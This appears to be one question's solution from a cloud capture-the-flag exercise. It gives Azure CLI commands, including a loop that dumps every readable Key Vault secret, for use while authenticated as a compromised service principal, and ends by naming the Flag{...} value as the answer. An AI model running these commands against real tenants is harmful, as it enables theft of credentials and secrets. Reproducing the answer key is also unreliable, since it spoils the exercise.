Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
